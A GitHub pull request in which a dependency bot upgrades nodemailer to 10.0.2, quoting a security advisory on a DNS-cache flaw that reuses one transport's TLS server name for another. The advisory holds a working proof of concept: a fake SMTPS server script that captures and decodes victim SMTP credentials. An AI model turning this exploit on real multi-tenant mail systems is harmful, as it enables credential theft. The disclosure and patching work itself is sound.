Skip to content

Update npm package nodemailer to v10 [SECURITY] - #9880

Open
hash-dependencies[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-nodemailer-vulnerability
Open

hash-dependencies[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-nodemailer-vulnerability

Conversation

@hash-dependencies

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 9.1.1 → 10.0.2 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Nodemailer: Process-global DNS cache reuses TLS servername across transports, enabling cross-tenant SMTP credential disclosure

GHSA-6vj9-mwq6-2f5v

More information

Details

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component
  • Ecosystem: npm
  • Package: nodemailer
  • Repository: https://github.com/nodemailer/nodemailer
  • Tested version: 10.0.1
  • Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2
  • Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1
  • Affected versions: >= 5.0.0, <= 10.0.1
  • Patched versions: None known at the time of this report
  • Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details
Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

const value: DnsCacheValue = {
    addresses: allAddresses,
    servername: options.servername || host
};

dnsCache.set(host, {
    value,
    expires: Date.now() + (options.dnsTtl || DNS_TTL)
});

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

if (!cached.expires || cached.expires >= now) {
    return callback(
        null,
        formatDNSValue(cached.value, {
            cached: true
        })
    );
}

formatDNSValue() copies that stale value into the result:

return Object.assign(
    {
        servername: value.servername,
        host,
        _addresses: addresses
    },
    extra || {}
);

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. _resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) {
    opts.servername = this.servername;
}

return this._resolveAndConnect(opts, resolved => {
    this._connectToHost(opts, this.secureConnection);
});
for (const key of Object.keys(resolved!)) {
    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
    }
}

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

const DNS_TTL = 5 * 60 * 1000;
Code path
Tenant A: createTransport({ host: H, secure: true,
                            tls: { servername: attackerName } })
  -> SMTPConnection.connect()
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: attackerName })
  -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true,
                          tls: { servername: victimName } })
  -> SMTPConnection.connect()
  -> opts.servername = victimName
  -> _resolveAndConnect(opts)
  -> shared.resolveHostname({ host: H, servername: victimName })
  -> dnsCache.get(H)
  -> returns cached servername = attackerName
  -> _resolveAndConnect overwrites opts.servername
  -> tls.connect({ servername: attackerName })
  -> attacker SNI virtual host and certificate are selected
  -> AUTH transmits victim SMTP credentials
Relevant source locations in the tested revision
  • src/shared/index.ts:184 — five-minute default cache TTL
  • src/shared/index.ts:245 — process-global cache keyed by host
  • src/shared/index.ts:247-262 — cached servername returned by formatDNSValue()
  • src/shared/index.ts:292-323 — host-only lookup and cache-hit return
  • src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache
  • src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call
  • src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options
PoC
Prerequisites
  • Node.js 20 (tested with Node.js 20.20.2)
  • A checkout/build of Nodemailer 10.0.1
  • OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

[req]
distinguished_name = dn
x509_extensions = ext
prompt = no

[dn]
CN = attacker.test

[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth

Generate the certificate and private key:

openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => {
    observedSni.push(socket.servername);
    socket.write('220 attacker.test ESMTP\r\n');
    let input = '';
    socket.on('data', chunk => {
        input += chunk.toString();
        let end;
        while ((end = input.indexOf('\r\n')) >= 0) {
            const line = input.slice(0, end);
            input = input.slice(end + 2);
            if (/^EHLO /i.test(line)) {
                socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
            } else if (/^AUTH /i.test(line)) {
                observedAuth.push(line);
                socket.write('235 2.7.0 Authentication successful\r\n');
            } else if (/^QUIT/i.test(line)) {
                socket.end('221 Bye\r\n');
            } else {
                socket.write('250 OK\r\n');
            }
        }
    });
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try {
    shared.dnsCache.clear();

    // Tenant A seeds the process-global cache for the shared DNS host.
    const attackerTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },
        tls: {
            ca: cert,
            servername: 'attacker.test',
            rejectUnauthorized: true
        }
    });
    await attackerTransport.verify();
    attackerTransport.close();

    // The victim explicitly configures a different TLS identity.
    const victimTransport = nodemailer.createTransport({
        host: 'localhost',
        port: server.address().port,
        secure: true,
        auth: { user: 'victim@example.test', pass: 'victim-secret' },
        tls: {
            ca: cert,
            servername: 'victim.test',
            rejectUnauthorized: true
        }
    });
    await victimTransport.verify();
    victimTransport.close();

    const decoded = observedAuth.map(line =>
        line.startsWith('AUTH PLAIN ')
            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()
            : null
    );

    console.log(JSON.stringify({
        attackerConfiguredServername: 'attacker.test',
        victimConfiguredServername: 'victim.test',
        serverObservedSniForBothConnections: observedSni,
        serverReceivedCredentials: decoded
    }, null, 2));
} finally {
    shared.dnsCache.clear();
    await new Promise(resolve => server.close(resolve));
}
3. Build and run

From the Nodemailer checkout:

npm install
npm run build
node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs
Observed result
{
  "attackerConfiguredServername": "attacker.test",
  "victimConfiguredServername": "victim.test",
  "serverObservedSniForBothConnections": [
    "attacker.test",
    "attacker.test"
  ],
  "serverReceivedCredentials": [
    "\\u0000attacker@example.test\\u0000attacker-secret",
    "\\u0000victim@example.test\\u0000victim-secret"
  ]
}

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

  1. send the attacker's server name as SNI;
  2. be routed to the attacker's TLS virtual host;
  3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and
  4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations
  • Two transports must execute in the same Node.js process within the cache lifetime.
  • They must use the same non-IP host cache key and different tls.servername values.
  • Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.
  • The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.
Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

return {
    host: selectedAddress,
    servername: options.servername || options.host || false,
    _addresses: addresses,
    cached: true
};

As defense in depth, _resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v10.0.2

Compare Source

Bug Fixes
  • mime-node: flatten nested recipient arrays without recursion (ebe0849)
  • shared: keep the TLS server name out of the DNS cache (a6512db)

v10.0.1

Compare Source

Bug Fixes
  • settle every send on a connection error, back off pool requeues, turn a bare CR into CRLF, bound fetch, honour requireTLS (63ccd66)

v10.0.0

Compare Source

⚠ BREAKING CHANGES
  • Node.js 20 or newer is required. The Node.js 6 syntax compatibility check and the .npmignore file are gone.
Features
Bug Fixes
  • apply the other keys of a configuration object next to its url (29610f9)
  • dkim: canonicalize raw messages the way verifiers do (2c84b11)
  • keep a transporter assignable to the plain Transporter type (8bf55fb)
  • shared: keep a colon in the user name of a connection or proxy url (6acf4b6)
  • shared: refuse URL hosts the legacy parser would truncate (17a5068)
  • shared: resolve hostnames when the runtime has no interface table (8b03240)
  • smtp-connection: clear the timers of a connection dropped before the greeting (01dcaa0)
  • smtp-connection: keep an incomplete server reply out of lastServerResponse (1a6e427)
  • smtp-pool: free the pool slot when the proxy socket can not be opened (204a344)
  • well-known: keep nodemailer/lib/well-known/services.json available (367730c)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • "before 4am every weekday,every weekend"

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@vercel

vercel Bot commented Sep 30, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
hash Ready Ready Preview Sep 30, 2026 3:36am UTC
3 Skipped Deployments
Project Deployment Actions Updated
hashdotdesign-tokens Ignored Ignored Preview Sep 30, 2026 3:36am UTC
petrinaut Skipped Skipped Sep 30, 2026 3:36am UTC
petrinaut-docs Skipped Skipped Sep 30, 2026 3:36am UTC

Request Review

@vercel
vercel Bot temporarily deployed to Preview – petrinaut-docs September 30, 2026 03:24 Inactive
@vercel
vercel Bot temporarily deployed to Preview – petrinaut September 30, 2026 03:24 Inactive
@cursor

cursor Bot commented Sep 30, 2026 •

Copy link
Copy Markdown

PR Summary

Low Risk
Dependency-only security patch with no hash-api code changes; confirm runtime is Node 20+ and smoke-test SMTP/SES email paths after deploy.

Overview
Bumps nodemailer in hash-api from 9.1.1 to 10.0.2 (lockfile updated). No application code changes.

The target release includes the fix for GHSA-6vj9-mwq6-2f5v, where a process-global DNS cache could reuse another transport’s TLS servername and weaken SNI/certificate checks on direct SMTPS connections in multi-transport processes. v10 also requires Node.js 20+ (major bump from v9).

Reviewed by Cursor Bugbot for commit 42a1925. Bugbot is set up for automated code reviews on this repo. Configure here.

@github-actions github-actions Bot added area/deps Relates to third-party dependencies (area) area/apps > hash* Affects HASH (a `hash-*` app) area/apps > hash-api Affects the HASH API (app) type/eng > backend Owned by the @backend team area/apps labels Sep 30, 2026
@github-actions

Copy link
Copy Markdown
Contributor

Dependency Review

The following issues were found:
  • ❌ 2 vulnerable package(s)
  • ✅ 0 package(s) with incompatible licenses
  • ✅ 0 package(s) with invalid SPDX license definitions
  • ✅ 0 package(s) with unknown licenses.
See the Details below.

Vulnerabilities

apps/hash-api/package.json

NameVersionVulnerabilitySeverityPatched Version
nodemailer10.0.2Nodemailer: Quadratic backtracking in the addressparser free-text fallback allows remote denial of servicehigh10.0.6
Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsingmoderate10.0.9

yarn.lock

NameVersionVulnerabilitySeverityPatched Version
nodemailer10.0.2Nodemailer: Quadratic backtracking in the addressparser free-text fallback allows remote denial of servicehigh10.0.6
Nodemailer: Quoted local-part can produce malformed envelope recipient through RFC 5322 comment parsingmoderate10.0.9

OpenSSF Scorecard

PackageVersionScoreDetails
npm/nodemailer 10.0.2 🟢 5.4
Details
CheckScoreReason
Code-Review⚠️ 0Found 2/23 approved changesets -- score normalized to 0
Maintained🟢 1030 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10
Security-Policy🟢 10security policy file detected
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Binary-Artifacts🟢 10no binaries found in the repo
Token-Permissions⚠️ 0detected GitHub workflow tokens with excessive permissions
Pinned-Dependencies⚠️ 1dependency not pinned by hash detected -- score normalized to 1
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
License🟢 9license file detected
Fuzzing⚠️ 0project is not fuzzed
Signed-Releases⚠️ -1no releases found
Branch-Protection⚠️ -1internal error: error during branchesHandler.setup: internal error: some github tokens can't read classic branch protection rules: https://github.com/ossf/scorecard-action/blob/main/docs/authentication/fine-grained-auth-token.md
SAST⚠️ 0SAST tool is not run on all commits -- score normalized to 0
Packaging🟢 10packaging workflow detected
npm/nodemailer 10.0.2 🟢 5.4
Details
CheckScoreReason
Code-Review⚠️ 0Found 2/23 approved changesets -- score normalized to 0
Maintained🟢 1030 commit(s) and 2 issue activity found in the last 90 days -- score normalized to 10
Security-Policy🟢 10security policy file detected
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Binary-Artifacts🟢 10no binaries found in the repo
Token-Permissions⚠️ 0detected GitHub workflow tokens with excessive permissions
Pinned-Dependencies⚠️ 1dependency not pinned by hash detected -- score normalized to 1
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
License🟢 9license file detected
Fuzzing⚠️ 0project is not fuzzed
Signed-Releases⚠️ -1no releases found
Branch-Protection⚠️ -1internal error: error during branchesHandler.setup: internal error: some github tokens can't read classic branch protection rules: https://github.com/ossf/scorecard-action/blob/main/docs/authentication/fine-grained-auth-token.md
SAST⚠️ 0SAST tool is not run on all commits -- score normalized to 0
Packaging🟢 10packaging workflow detected

Scanned Files

  • apps/hash-api/package.json
  • yarn.lock

This branch was successfully deployed

1 active and 2 inactive deployments
Preview – hash — 42a1925d Deployed Sep 30, 2026 by vercel[bot]
Preview – petrinaut — 42a1925d Deployed Sep 30, 2026 by vercel[bot]
Preview – petrinaut-docs — 42a1925d Deployed Sep 30, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/apps > hash* Affects HASH (a `hash-*` app) area/apps > hash-api Affects the HASH API (app) area/apps area/deps Relates to third-party dependencies (area) type/eng > backend Owned by the @backend team

Development

Successfully merging this pull request may close these issues.

0 participants